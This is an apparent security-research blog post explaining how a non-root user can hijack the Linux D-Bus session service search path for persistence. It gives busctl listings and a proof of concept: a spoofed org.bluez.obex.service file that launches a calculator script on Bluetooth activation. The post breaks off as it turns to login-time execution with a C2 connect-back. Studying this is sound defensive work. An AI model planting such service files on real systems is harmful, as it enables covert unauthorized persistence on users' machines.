Seatbelts Everyone!

Persistence methods in Linux environments requiring root access are interesting and worth documenting, but not always practical. Once a threat actor has fully compromised the root user on a Linux machine, there are a plethora of obscure persistence mechanisms, it’s typically better to rebuild the machine from scratch.

Persistence mechanisms that do not require root access offer a different value proposition. They allow attackers to save their progress without the need to escalate to root.

Remember
Depending on your objectives, the OSCP mentality of “get root” is often not necessary.

There are far fewer known persistence methods available on a non-root user and these are well documented in wonderful projects like PANIX (Persistence against *Nix).

A threat actor with root access utilizing D-Bus to maintain persistent access to a Linux environment is a known, but less common method of persistence. This post explores how persistence can be achieved to a Linux desktop environment without root access by hijacking the D-Bus service path search path to execute code.

A Quick Case For The Linux Desktop

So why should we care about targeting Linux Desktop environments if they’re a smaller subset of the Linux systems out there? The answer – developers, power users, and critical systems.

Compromising a single developer’s Linux environment can cascade into access across an enormous amount of critical infrastructure – anecdotally, some of the most critical systems I’ve encountered are running these (usually outdated) Linux desktop environments.

While D-Bus is available on a wide variety of Linux machines that do not have a desktop environment configured, they typically do not have D-Bus services that are started automatically upon user login. This means that while it’s entirely possible to utilize this persistence method on any system that uses D-Bus, as of today, there are no D-Bus services that start by default in the systems tested.

What is DBUS?

When a user logs into a desktop environment, a D-Bus session bus is spawned allowing applications to utilize services attached to a session bus. These services offer various functionality to other system processes.

A common example of D-Bus being used is an application utilizing the system’s notification service – instead of Discord writing its own notification software from scratch, it can simply send a message to the notification service which handles displaying the notification.

There are two processes that make up the D-Bus system:

  • D-Bus library: Used by any two processes to exchange messages among themselves.
  • D-Bus Daemon: Runs the bus that the messages are transported over.

Additionally, in a typical environment, there are two types of buses:

  • System Bus: Privileged system wide communications. Typically owned and operated by root.
  • Session Bus: Unprivileged communication between a single user’s session.
System and Session Bus Visualization

Note
Think of each bus as a tube that messages are sent through that any number of applications can hook into to receive the messages.

The System Bus handles communication for privileged services. For example, when plugging in a power adapter, the kernel detects the event and sends a message to org.freedesktop.UPower, which then allows other applications to become aware of this event and change their behavior now that the battery does not need to be conserved. Power settings are considered privileged which is why this is a part of the System Bus.

The Session Bus works in much the same way but for unprivileged process communication. When an application needs to send a notification (such as a discord message), the application connects to the D-Bus Session Bus and sends a message to a service such as the org.freedesktop.Notifications D-Bus service. This allows for applications to send a notification without having to worry about the underlying mechanisms such as “Does the user have notifications muted?”.

Note
The D-Bus Spec clarifies that the reverse domain name scheme tld.domain.subdomain naming scheme is borrowed from Java interface names.

We can identify what services are hooked into each system and session bus using the busctl command. In the below output, we can see the system bus shows privileged services such as NetworkManager and UPower.

  • Name: The identifier for the D-Bus service.
  • PID: The process ID of the running process
  • Process: The program that is providing the D-Bus service
  • User: The user account running the process
  • Connection: The address for the connection or activatable if it starts on demand
  • Unit: The systemd unit responsible for managing the service. For the session bus, there is a special template at /usr/lib/systemd/system/[email protected]
  • Session: Shows the login session a user belongs to.
  • Description: A description of what the service does (not often used).
busctl --system list --no-pager
NAME                                   PID PROCESS         USER                 CONNECTION    UNIT                          SESSION DESCRIPTION
:1.0                                   448 systemd-timesyn systemd-timesync     :1.0          systemd-timesyncd.service     -       -
:1.1                                   328 systemd-network systemd-network      :1.1          systemd-networkd.service      -       -
:1.10                                    1 systemd         root                 :1.10         init.scope                    -       -
:1.108                                2940 fwupd           root                 :1.108        fwupd.service                 -       -
:1.109                                2947 upowerd         root                 :1.109        upower.service                -       -
:1.11                                  580 polkitd         polkitd              :1.11         polkit.service                -       -
:1.12                                  570 gnome-remote-de gnome-remote-desktop :1.12         gnome-remote-desktop.service  -       -
:1.13                                  711 wpa_supplicant  root                 :1.13         wpa_supplicant.service        -       -
:1.14                                  703 NetworkManager  root                 :1.14         NetworkManager.service        -       -
:1.15                                  760 ModemManager    root                 :1.15         ModemManager.service          -       -
:1.2                                   441 systemd-resolve systemd-resolve      :1.2          systemd-resolved.service      -       -
:1.21                                  858 cupsd           root                 :1.21         cups.service                  -       -
:1.22                                  878 gdm3            root                 :1.22         gdm.service                   -       -
:1.23                                  866 unattended-upgr root                 :1.23         unattended-upgrades.service   -       -
:1.27                                  895 systemd         ubuntu               :1.27         [email protected]             -       -
:1.29                                  910 pipewire-pulse  ubuntu               :1.29         [email protected]             -       -
:1.3                                   434 systemd-oomd    systemd-oom          :1.3          systemd-oomd.service          -       -
:1.30                                  906 pipewire        ubuntu               :1.30         [email protected]             -       -
:1.31                                  908 pipewire        ubuntu               :1.31         [email protected]             -       -
:1.32                                  909 wireplumber     ubuntu               :1.32         [email protected]             -       -
:1.33                                  926 rtkit-daemon    root                 :1.33         rtkit-daemon.service          -       -
:1.35                                  909 wireplumber     ubuntu               :1.35         [email protected]             -       -
:1.4                                   585 power-profiles- root                 :1.4          power-profiles-daemon.service -       -
:1.41                                 1286 gdm-session-wor root                 :1.41         session-4.scope               4       -
:1.43                                 1322 gnome-keyring-d ubuntu               :1.43         [email protected]             -       -
:1.45                                 1357 Xorg            ubuntu               :1.45         session-4.scope               4       -
:1.46                                 1355 gdm-x-session   ubuntu               :1.46         session-4.scope               4       -
:1.47                                 1469 kerneloops      kernoops             :1.47         kerneloops.service            -       -
:1.48                                 1472 kerneloops      kernoops             :1.48         kerneloops.service            -       -
:1.482                               11272 gnome-shell     ubuntu               :1.482        [email protected]             -       -
:1.483                               11293 busctl          ubuntu               :1.483        session-7.scope               7       -
:1.49                                 1467 cups-browsed    cups-browsed         :1.49         cups-browsed.service          -       -
:1.5                                   621 accounts-daemon root                 :1.5          accounts-daemon.service       -       -
:1.50                                 1467 cups-browsed    cups-browsed         :1.50         cups-browsed.service          -       -
:1.51                                 1513 gnome-session-b ubuntu               :1.51         [email protected]             -       -
:1.6                                   624 switcheroo-cont root                 :1.6          switcheroo-control.service    -       -
:1.7                                   645 udisksd         root                 :1.7          udisks2.service               -       -
:1.8                                   566 avahi-daemon    avahi                :1.8          avahi-daemon.service          -       -
:1.9                                   639 systemd-logind  root                 :1.9          systemd-logind.service        -       -
com.canonical.UbuntuAdvantage            - -               -                    (activatable) -                             -       -
com.hp.hplip                             - -               -                    (activatable) -                             -       -
com.ubuntu.LanguageSelector              - -               -                    (activatable) -                             -       -
com.ubuntu.SoftwareProperties            - -               -                    (activatable) -                             -       -
com.ubuntu.WhoopsiePreferences           - -               -                    (activatable) -                             -       -
fi.w1.wpa_supplicant1                  711 wpa_supplicant  root                 :1.13         wpa_supplicant.service        -       -
io.netplan.Netplan                       - -               -                    (activatable) -                             -       -
net.hadess.PowerProfiles               585 power-profiles- root                 :1.4          power-profiles-daemon.service -       -
net.hadess.SwitcherooControl           624 switcheroo-cont root                 :1.6          switcheroo-control.service    -       -
net.reactivated.Fprint                   - -               -                    (activatable) -                             -       -
org.bluez                                - -               -                    (activatable) -                             -       -
org.debian.apt                           - -               -                    (activatable) -                             -       -
org.freedesktop.Accounts               621 accounts-daemon root                 :1.5          accounts-daemon.service       -       -
org.freedesktop.Avahi                  566 avahi-daemon    avahi                :1.8          avahi-daemon.service          -       -
org.freedesktop.ColorManager             - -               -                    (activatable) -                             -       -
org.freedesktop.DBus                     1 systemd         root                 -             init.scope                    -       -
org.freedesktop.GeoClue2                 - -               -                    (activatable) -                             -       -
org.freedesktop.ModemManager1          760 ModemManager    root                 :1.15         ModemManager.service          -       -
org.freedesktop.NetworkManager         703 NetworkManager  root                 :1.14         NetworkManager.service        -       -
org.freedesktop.PackageKit               - -               -                    (activatable) -                             -       -
org.freedesktop.PolicyKit1             580 polkitd         polkitd              :1.11         polkit.service                -       -
org.freedesktop.RealtimeKit1           926 rtkit-daemon    root                 :1.33         rtkit-daemon.service          -       -
org.freedesktop.UDisks2                645 udisksd         root                 :1.7          udisks2.service               -       -
org.freedesktop.UPower                2947 upowerd         root                 :1.109        upower.service                -       -
org.freedesktop.UPower.PowerProfiles   585 power-profiles- root                 :1.4          power-profiles-daemon.service -       -
org.freedesktop.bolt                     - -               -                    (activatable) -                             -       -
org.freedesktop.fwupd                 2940 fwupd           root                 :1.108        fwupd.service                 -       -
org.freedesktop.hostname1                - -               -                    (activatable) -                             -       -
org.freedesktop.locale1                  - -               -                    (activatable) -                             -       -
org.freedesktop.login1                 639 systemd-logind  root                 :1.9          systemd-logind.service        -       -
org.freedesktop.network1               328 systemd-network systemd-network      :1.1          systemd-networkd.service      -       -
org.freedesktop.nm_dispatcher            - -               -                    (activatable) -                             -       -
org.freedesktop.nm_priv_helper           - -               -                    (activatable) -                             -       -
org.freedesktop.oom1                   434 systemd-oomd    systemd-oom          :1.3          systemd-oomd.service          -       -
org.freedesktop.resolve1               441 systemd-resolve systemd-resolve      :1.2          systemd-resolved.service      -       -
org.freedesktop.systemd1                 1 systemd         root                 :1.10         init.scope                    -       -
org.freedesktop.timedate1                - -               -                    (activatable) -                             -       -
org.freedesktop.timesync1              448 systemd-timesyn systemd-timesync     :1.0          systemd-timesyncd.service     -       -
org.gnome.DisplayManager               878 gdm3            root                 :1.22         gdm.service                   -       -
org.gnome.RemoteDesktop                570 gnome-remote-de gnome-remote-desktop :1.12         gnome-remote-desktop.service  -       -
org.opensuse.CupsPkHelper.Mechanism      - -               -                    (activatable) -                             -       -

When looking at the Session bus we can see the services run by the ubuntu account. These are more focused on specific services for session management such as FileManager1 and SessionManager.

busctl --user list --no-pager
NAME                                          PID PROCESS         USER   CONNECTION    UNIT              SESSION DESCRIPTION
:1.10                                         908 wireplumber     ubuntu :1.10         [email protected] -       -
:1.100                                       1745 evolution-alarm ubuntu :1.100        [email protected] -       -
:1.101                                       1567 xdg-desktop-por ubuntu :1.101        [email protected] -       -
:1.105                                       1869 update-notifier ubuntu :1.105        [email protected] -       -
:1.107                                       1869 update-notifier ubuntu :1.107        [email protected] -       -
:1.112                                       1925 busctl          ubuntu :1.112        session-3.scope   3       -
:1.17                                        1023 gvfsd           ubuntu :1.17         [email protected] -       -
:1.18                                        1031 gvfsd-fuse      ubuntu :1.18         [email protected] -       -
:1.27                                        1033 gnome-session-b ubuntu :1.27         [email protected] -       -
:1.28                                        1063 at-spi-bus-laun ubuntu :1.28         [email protected] -       -
:1.29                                        1066 gnome-shell     ubuntu :1.29         [email protected] -       -
:1.30                                        1066 gnome-shell     ubuntu :1.30         [email protected] -       -
:1.31                                        1103 at-spi2-registr ubuntu :1.31         [email protected] -       -
:1.32                                        1103 at-spi2-registr ubuntu :1.32         [email protected] -       -
:1.34                                        1140 xdg-permission- ubuntu :1.34         [email protected] -       -
:1.35                                        1139 gnome-shell-cal ubuntu :1.35         [email protected] -       -
:1.36                                        1151 evolution-sourc ubuntu :1.36         [email protected] -       -
:1.37                                        1163 gjs             ubuntu :1.37         [email protected] -       -
:1.39                                        1187 gsd-screensaver ubuntu :1.39         [email protected] -       -
:1.4                                          915 gnome-keyring-d ubuntu :1.4          [email protected] -       -
:1.40                                        1175 gsd-a11y-settin ubuntu :1.40         [email protected] -       -
:1.41                                        1188 gsd-sharing     ubuntu :1.41         [email protected] -       -
:1.42                                        1179 gsd-datetime    ubuntu :1.42         [email protected] -       -
:1.43                                        1189 gsd-smartcard   ubuntu :1.43         [email protected] -       -
:1.44                                        1186 gsd-rfkill      ubuntu :1.44         [email protected] -       -
:1.45                                        1195 gsd-sound       ubuntu :1.45         [email protected] -       -
:1.46                                        1184 gsd-print-notif ubuntu :1.46         [email protected] -       -
:1.47                                        1196 gsd-wacom       ubuntu :1.47         [email protected] -       -
:1.48                                        1180 gsd-housekeepin ubuntu :1.48         [email protected] -       -
:1.49                                        1181 gsd-keyboard    ubuntu :1.49         [email protected] -       -
:1.5                                          894 systemd         ubuntu :1.5          [email protected] -       -
:1.50                                        1176 gsd-color       ubuntu :1.50         [email protected] -       -
:1.51                                        1172 ibus-daemon     ubuntu :1.51         [email protected] -       -
:1.52                                        1182 gsd-media-keys  ubuntu :1.52         [email protected] -       -
:1.53                                        1183 gsd-power       ubuntu :1.53         [email protected] -       -
:1.54                                        1321 ibus-dconf      ubuntu :1.54         [email protected] -       -
:1.55                                        1331 ibus-portal     ubuntu :1.55         [email protected] -       -
:1.56                                        1233 goa-daemon      ubuntu :1.56         [email protected] -       -
:1.57                                        1333 evolution-calen ubuntu :1.57         [email protected] -       -
:1.58                                        1323 ibus-extension- ubuntu :1.58         [email protected] -       -
:1.59                                        1336 gvfs-udisks2-vo ubuntu :1.59         [email protected] -       -
:1.6                                          905 pipewire        ubuntu :1.6          [email protected] -       -
:1.60                                        1349 goa-identity-se ubuntu :1.60         [email protected] -       -
:1.61                                        1365 gvfs-mtp-volume ubuntu :1.61         [email protected] -       -
:1.62                                        1373 gvfs-gphoto2-vo ubuntu :1.62         [email protected] -       -
:1.63                                        1385 gvfs-afc-volume ubuntu :1.63         [email protected] -       -
:1.64                                        1382 evolution-addre ubuntu :1.64         [email protected] -       -
:1.65                                        1394 gvfs-goa-volume ubuntu :1.65         [email protected] -       -
:1.66                                        1417 ibus-engine-sim ubuntu :1.66         [email protected] -       -
:1.67                                        1438 dconf-service   ubuntu :1.67         [email protected] -       -
:1.69                                        1450 gvfsd-trash     ubuntu :1.69         [email protected] -       -
:1.7                                          905 pipewire        ubuntu :1.7          [email protected] -       -
:1.71                                        1176 gsd-color       ubuntu :1.71         [email protected] -       -
:1.72                                        1182 gsd-media-keys  ubuntu :1.72         [email protected] -       -
:1.73                                        1196 gsd-wacom       ubuntu :1.73         [email protected] -       -
:1.74                                        1183 gsd-power       ubuntu :1.74         [email protected] -       -
:1.75                                        1323 ibus-extension- ubuntu :1.75         [email protected] -       -
:1.76                                        1181 gsd-keyboard    ubuntu :1.76         [email protected] -       -
:1.77                                        1480 gsd-printer     ubuntu :1.77         [email protected] -       -
:1.78                                        1482 tracker-miner-f ubuntu :1.78         [email protected] -       -
:1.79                                        1481 gnome-initial-s ubuntu :1.79         [email protected] -       -
:1.8                                          909 pipewire-pulse  ubuntu :1.8          [email protected] -       -
:1.80                                        1499 gjs             ubuntu :1.80         [email protected] -       -
:1.81                                        1512 gjs             ubuntu :1.81         [email protected] -       -
:1.82                                        1492 gsd-xsettings   ubuntu :1.82         [email protected] -       -
:1.83                                        1492 gsd-xsettings   ubuntu :1.83         [email protected] -       -
:1.84                                        1512 gjs             ubuntu :1.84         [email protected] -       -
:1.85                                        1567 xdg-desktop-por ubuntu :1.85         [email protected] -       -
:1.87                                        1586 xdg-document-po ubuntu :1.87         [email protected] -       -
:1.88                                        1618 xdg-desktop-por ubuntu :1.88         [email protected] -       -
:1.89                                        1700 gvfsd-metadata  ubuntu :1.89         [email protected] -       -
:1.9                                          933 gdm-wayland-ses ubuntu :1.9          session-1.scope   1       -
:1.90                                        1699 ibus-x11        ubuntu :1.90         [email protected] -       -
:1.91                                        1699 ibus-x11        ubuntu :1.91         [email protected] -       -
:1.92                                        1207 spice-vdagent   ubuntu :1.92         [email protected] -       -
:1.93                                        1207 spice-vdagent   ubuntu :1.93         [email protected] -       -
:1.94                                        1732 gsd-disk-utilit ubuntu :1.94         [email protected] -       -
:1.95                                        1786 xdg-desktop-por ubuntu :1.95         [email protected] -       -
:1.97                                        1786 xdg-desktop-por ubuntu :1.97         [email protected] -       -
:1.98                                        1745 evolution-alarm ubuntu :1.98         [email protected] -       -
:1.99                                        1708 mutter-x11-fram ubuntu :1.99         [email protected] -       -
ca.desrt.dconf                               1438 dconf-service   ubuntu :1.67         [email protected] -       -
com.canonical.Unity                          1066 gnome-shell     ubuntu :1.29         [email protected] -       -
com.feralinteractive.GameMode                   - -               -      (activatable) -                 -       -
com.rastersoft.ding                          1512 gjs             ubuntu :1.81         [email protected] -       -
com.rastersoft.dingextension                 1066 gnome-shell     ubuntu :1.29         [email protected] -       -
io.snapcraft.Launcher                           - -               -      (activatable) -                 -       -
io.snapcraft.SessionAgent                       - -               -      (activatable) -                 -       -
io.snapcraft.Settings                           - -               -      (activatable) -                 -       -
org.a11y.Bus                                 1063 at-spi-bus-laun ubuntu :1.28         [email protected] -       -
org.bluez.obex                                  - -               -      (activatable) -                 -       -
org.fedoraproject.Config.Printing               - -               -      (activatable) -                 -       -
org.freedesktop.ColorHelper                     - -               -      (activatable) -                 -       -
org.freedesktop.DBus                          894 systemd         ubuntu -             [email protected] -       -
org.freedesktop.FileManager1                    - -               -      (activatable) -                 -       -
org.freedesktop.IBus                         1172 ibus-daemon     ubuntu :1.51         [email protected] -       -
org.freedesktop.IBus.Panel.Extension.Gtk3    1323 ibus-extension- ubuntu :1.58         [email protected] -       -
org.freedesktop.Notifications                1163 gjs             ubuntu :1.37         [email protected] -       -
org.freedesktop.ScreenSaver                  1187 gsd-screensaver ubuntu :1.39         [email protected] -       -
org.freedesktop.Tracker3.Miner.Files         1482 tracker-miner-f ubuntu :1.78         [email protected] -       -
org.freedesktop.Tracker3.Miner.Files.Control    - -               -      (activatable) -                 -       -
org.freedesktop.Tracker3.Writeback              - -               -      (activatable) -                 -       -
org.freedesktop.background.Monitor           1567 xdg-desktop-por ubuntu :1.101        [email protected] -       -
org.freedesktop.impl.portal.PermissionStore  1140 xdg-permission- ubuntu :1.34         [email protected] -       -
org.freedesktop.impl.portal.Secret              - -               -      (activatable) -                 -       -
org.freedesktop.impl.portal.desktop.gnome    1618 xdg-desktop-por ubuntu :1.88         [email protected] -       -
org.freedesktop.impl.portal.desktop.gtk      1786 xdg-desktop-por ubuntu :1.95         [email protected] -       -
org.freedesktop.portal.Desktop               1567 xdg-desktop-por ubuntu :1.85         [email protected] -       -
org.freedesktop.portal.Documents             1586 xdg-document-po ubuntu :1.87         [email protected] -       -
org.freedesktop.portal.IBus                  1331 ibus-portal     ubuntu :1.55         [email protected] -       -
org.freedesktop.portal.Tracker                  - -               -      (activatable) -                 -       -
org.freedesktop.secrets                       915 gnome-keyring-d ubuntu :1.4          [email protected] -       -
org.freedesktop.systemd1                      894 systemd         ubuntu :1.5          [email protected] -       -
org.gnome.Calculator.SearchProvider             - -               -      (activatable) -                 -       -
org.gnome.Characters                            - -               -      (activatable) -                 -       -
org.gnome.DiskUtility                           - -               -      (activatable) -                 -       -
org.gnome.Disks.NotificationMonitor          1732 gsd-disk-utilit ubuntu :1.94         [email protected] -       -
org.gnome.Evolution-alarm-notify             1745 evolution-alarm ubuntu :1.98         [email protected] -       -
org.gnome.Extensions                            - -               -      (activatable) -                 -       -
org.gnome.Identity                           1349 goa-identity-se ubuntu :1.60         [email protected] -       -
org.gnome.InitialSetup                       1481 gnome-initial-s ubuntu :1.79         [email protected] -       -
org.gnome.Logs                                  - -               -      (activatable) -                 -       -
org.gnome.Mutter.DisplayConfig               1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Mutter.IdleMonitor                 1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Mutter.InputCapture                1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Mutter.InputMapping                1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Mutter.RemoteDesktop               1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Mutter.ScreenCast                  1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Mutter.ServiceChannel              1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Nautilus                              - -               -      (activatable) -                 -       -
org.gnome.Nautilus.Tracker3.Miner.Extract       - -               -      (activatable) -                 -       -
org.gnome.Nautilus.Tracker3.Miner.Files         - -               -      (activatable) -                 -       -
org.gnome.OnlineAccounts                     1233 goa-daemon      ubuntu :1.56         [email protected] -       -
org.gnome.Rygel1                                - -               -      (activatable) -                 -       -
org.gnome.ScreenSaver                        1499 gjs             ubuntu :1.80         [email protected] -       -
org.gnome.SessionManager                     1033 gnome-session-b ubuntu :1.27         [email protected] -       -
org.gnome.Settings                              - -               -      (activatable) -                 -       -
org.gnome.Settings.SearchProvider               - -               -      (activatable) -                 -       -
org.gnome.SettingsDaemon.A11ySettings        1175 gsd-a11y-settin ubuntu :1.40         [email protected] -       -
org.gnome.SettingsDaemon.Color               1176 gsd-color       ubuntu :1.50         [email protected] -       -
org.gnome.SettingsDaemon.Datetime            1179 gsd-datetime    ubuntu :1.42         [email protected] -       -
org.gnome.SettingsDaemon.Housekeeping        1180 gsd-housekeepin ubuntu :1.48         [email protected] -       -
org.gnome.SettingsDaemon.Keyboard            1181 gsd-keyboard    ubuntu :1.49         [email protected] -       -
org.gnome.SettingsDaemon.MediaKeys           1182 gsd-media-keys  ubuntu :1.52         [email protected] -       -
org.gnome.SettingsDaemon.Power               1183 gsd-power       ubuntu :1.53         [email protected] -       -
org.gnome.SettingsDaemon.PrintNotifications  1184 gsd-print-notif ubuntu :1.46         [email protected] -       -
org.gnome.SettingsDaemon.Rfkill              1186 gsd-rfkill      ubuntu :1.44         [email protected] -       -
org.gnome.SettingsDaemon.ScreensaverProxy    1187 gsd-screensaver ubuntu :1.39         [email protected] -       -
org.gnome.SettingsDaemon.Sharing             1188 gsd-sharing     ubuntu :1.41         [email protected] -       -
org.gnome.SettingsDaemon.Smartcard           1189 gsd-smartcard   ubuntu :1.43         [email protected] -       -
org.gnome.SettingsDaemon.Sound               1195 gsd-sound       ubuntu :1.45         [email protected] -       -
org.gnome.SettingsDaemon.Wacom               1196 gsd-wacom       ubuntu :1.47         [email protected] -       -
org.gnome.SettingsDaemon.XSettings           1492 gsd-xsettings   ubuntu :1.83         [email protected] -       -
org.gnome.Shell                              1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Shell.AudioDeviceSelection         1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Shell.CalendarServer               1139 gnome-shell-cal ubuntu :1.35         [email protected] -       -
org.gnome.Shell.Extensions                      - -               -      (activatable) -                 -       -
org.gnome.Shell.HotplugSniffer                  - -               -      (activatable) -                 -       -
org.gnome.Shell.Introspect                   1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Shell.Notifications                1163 gjs             ubuntu :1.37         [email protected] -       -
org.gnome.Shell.Portal                       1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Shell.ScreenShield                 1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Shell.Screencast                      - -               -      (activatable) -                 -       -
org.gnome.Shell.Screenshot                   1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Shell.Wacom.PadOsd                 1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.Terminal                              - -               -      (activatable) -                 -       -
org.gnome.TextEditor                            - -               -      (activatable) -                 -       -
org.gnome.baobab                                - -               -      (activatable) -                 -       -
org.gnome.clocks                                - -               -      (activatable) -                 -       -
org.gnome.evince.Daemon                         - -               -      (activatable) -                 -       -
org.gnome.evolution.dataserver.AddressBook10 1382 evolution-addre ubuntu :1.64         [email protected] -       -
org.gnome.evolution.dataserver.Calendar8     1333 evolution-calen ubuntu :1.57         [email protected] -       -
org.gnome.evolution.dataserver.Sources5      1151 evolution-sourc ubuntu :1.36         [email protected] -       -
org.gnome.evolution.dataserver.UserPrompter0    - -               -      (activatable) -                 -       -
org.gnome.font-viewer                           - -               -      (activatable) -                 -       -
org.gnome.keyring                             915 gnome-keyring-d ubuntu :1.4          [email protected] -       -
org.gnome.keyring.PrivatePrompter               - -               -      (activatable) -                 -       -
org.gnome.keyring.SystemPrompter             1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gnome.seahorse.Application                  - -               -      (activatable) -                 -       -
org.gtk.GLib.PACRunner                          - -               -      (activatable) -                 -       -
org.gtk.MountOperationHandler                1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gtk.Notifications                        1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.gtk.Settings                             1492 gsd-xsettings   ubuntu :1.83         [email protected] -       -
org.gtk.vfs.AfcVolumeMonitor                 1385 gvfs-afc-volume ubuntu :1.63         [email protected] -       -
org.gtk.vfs.Daemon                           1023 gvfsd           ubuntu :1.17         [email protected] -       -
org.gtk.vfs.GPhoto2VolumeMonitor             1373 gvfs-gphoto2-vo ubuntu :1.62         [email protected] -       -
org.gtk.vfs.GoaVolumeMonitor                 1394 gvfs-goa-volume ubuntu :1.65         [email protected] -       -
org.gtk.vfs.MTPVolumeMonitor                 1365 gvfs-mtp-volume ubuntu :1.61         [email protected] -       -
org.gtk.vfs.Metadata                         1700 gvfsd-metadata  ubuntu :1.89         [email protected] -       -
org.gtk.vfs.UDisks2VolumeMonitor             1336 gvfs-udisks2-vo ubuntu :1.59         [email protected] -       -
org.gtk.vfs.mountpoint_1450                  1450 gvfsd-trash     ubuntu :1.69         [email protected] -       -
org.kde.StatusNotifierWatcher                1066 gnome-shell     ubuntu :1.29         [email protected] -       -
org.pulseaudio.Server                         909 pipewire-pulse  ubuntu :1.8          [email protected] -       -

Note
The entries with :1.xx format are unique, private D-Bus addresses automatically assigned to each connection. These are unique identifiers for active connections even if the service doesn’t register a name.

Service Activation

Some services are marked as activatable. This means they’re not active but they are on standby for when a program needs to use it. For example, Bluetooth might not be in use, but it is listening and ready to activate if a process asks for it. In the above Session Bus output, we can see that org.bluez.obex is listed as activatable. We can explicitly activate it by sending a busctl command.

busctl --user \
call org.freedesktop.DBus /org/freedesktop/DBus \
org.freedesktop.DBus StartServiceByName "su" "org.bluez.obex" 0

We can see that org.bluez.obex is activated.

busctl --user list --no-pager |  grep bluez
org.bluez.obex                               2026 obexd           ubuntu :1.117        [email protected] -       -

Service Activation Flow

When a D-Bus service is activated, a predefined sequence of events kicks off. The most important for our purposes is the D-Bus daemon attempts to start the service being requested by searching a predetermined list of directories for a D-BUS Service configuration file that is written using the .ini format. By convention this is called servicename.service or in this example org.bluez.obex.service

[D-BUS Service]
Name=org.bluez.obex
Exec=/usr/libexec/bluetooth/obexd
SystemdService=obex.service

This configuration file tells the D-Bus daemon what application to start when the service is activated.

Note
For those familiar with DLL Hijacking in Windows, you may see where this is going.

According to the D-Bus Spec, the following order of locations are checked for a .service file.

  1. $XDG_RUNTIME_DIR/dbus-1/services (if $XDG_RUNTIME_DIR is set)
  2. $XDG_DATA_HOME/dbus-1/services (where $XDG_DATA_HOME defaults to ~/.local/share)
  3. directory/dbus-1/services for each directory in $XDG_DATA_DIRS (where $XDG_DATA_DIRS defaults to /usr/local/share:/usr/share)
  4. ${datadir}/dbus-1/services (typically /usr/share/dbus-1/services)

The environment variables make this a bit abstract. What do these actually evaluate to on a normal system? On many systems (such as Ubuntu 24.04), the default relevant environment variables make the search order:

  1. /run/user/1000/dbus-1/services
  2. ~/.local/share/dbus-1/services
  3. For each directory in $XDG_DATA_DIRS, it looks for a dbus-1/services subdirectory:
    • /home/graham/.local/share/flatpak/exports/share/dbus-1/services
    • /var/lib/flatpak/exports/share/dbus-1/services
    • /usr/local/share/dbus-1/services
    • /usr/share/dbus-1/services
    • /var/lib/snapd/desktop/dbus-1/services
    • /snap/ghostty/37/usr/share/dbus-1/services
  4. /usr/share/dbus-1/services (in case $XDG_DATA_DIRS isn’t set)

This is very interesting! According to this, the service configuration files we place in /run/user/100/dbus-1/services and ~/.local/share/dbus-1/services are the first locations in the search path that will be checked for D-Bus service files when a D-Bus service is activated. The best part – these locations are user writable.

Proof Of Concept

In theory, we should be able to place a configuration file in one of these locations to use as a configuration file for a D-Bus service.

To validate, let’s place a custom org.bluez.obex.service inside of ~/.local/share/dbus-1/services/ and then turn on bluetooth.

Note
You may also use /run/user/1000/dbus-1, but if doing so, the service file must end in .service

First, we need to create a “payload” script that will demonstrate our custom service configuration file is being loaded. In this case a file at /home/graham/runmecalc.sh that runs /usr/bin/gnome-calculator and then keeps the process running.

# Create runmecalc.sh

cat << EOF > /home/$USER/runmecalc.sh
#!/bin/bash
/usr/bin/gnome-calculator -e 1337

# Keep the process alive even after calc is closed
while true;do sleep 10; done
EOF

Next, create the service org.bluez.obex.service at ~/.local/share/dbus-1/services/.

Note
Technically you can name this whatever you like as long as it ends in .service. It even works with hidden files. I know this because I forgot I created a hidden file and was mildly concerned when calc kept opening.
# Create the service configuration file

cat << EOF > ~/.local/share/dbus-1/services/org.bluez.obex.service
[D-BUS Service]
Name=org.bluez.obex
Exec=/home/graham/runmecalc.sh
EOF

Cleanup
To remove these files run: rm ~/.local/share/dbus-1/services/org.bluez.obex.service /home/$USER/runmecalc.sh

Now we can test to see if runmecalc.sh executes when the Bluetooth D-Bus service activates. To activate this service, open any program that requests Bluetooth service. In this case, just open the Bluetooth settings in Ubuntu.

Upon opening the Bluetooth menu (which in turn activates the org.bluez.obex D-Bus service), we can see that a calculator is opened, confirming that our code is being executed upon service activation.

Gnome Calculator opening when the bluetooth service is activated

Looking at the process tree ps --forest aux | grep "calc\|", we can see that dbus-daemon spawned runmecalc.sh which spawned gnome-calculator

graham      6300  0.0  0.0  11480  6980 ?        Ss   12:33   0:05  \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
graham     31202  0.0  0.0  11480  3280 ?        S    14:36   0:00  |   \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
graham     31203  0.0  0.0   9940  3392 ?        S    14:36   0:00  |       \_ /bin/bash /home/graham/runmecalc.sh
graham     31204  0.5  0.4 1505880 139576 ?      Sl   14:36   0:00  |           \_ /usr/bin/gnome-calculator -e 1337

This is a neat party trick, but relying on the user to activate Bluetooth isn’t entirely practical. Let’s make it execute each time the user logs in.

D-Bus Service Path Hijacking

Now that we have proved that a normal Ubuntu user can define their own D-Bus configuration files, let’s exploit this to execute custom code each time a user logs in.

Note
We will be using this to connect back to Mythic shortly.

We first must identify a D-Bus service that is activated at login that does not require user interaction (like the Bluetooth activation example above did).

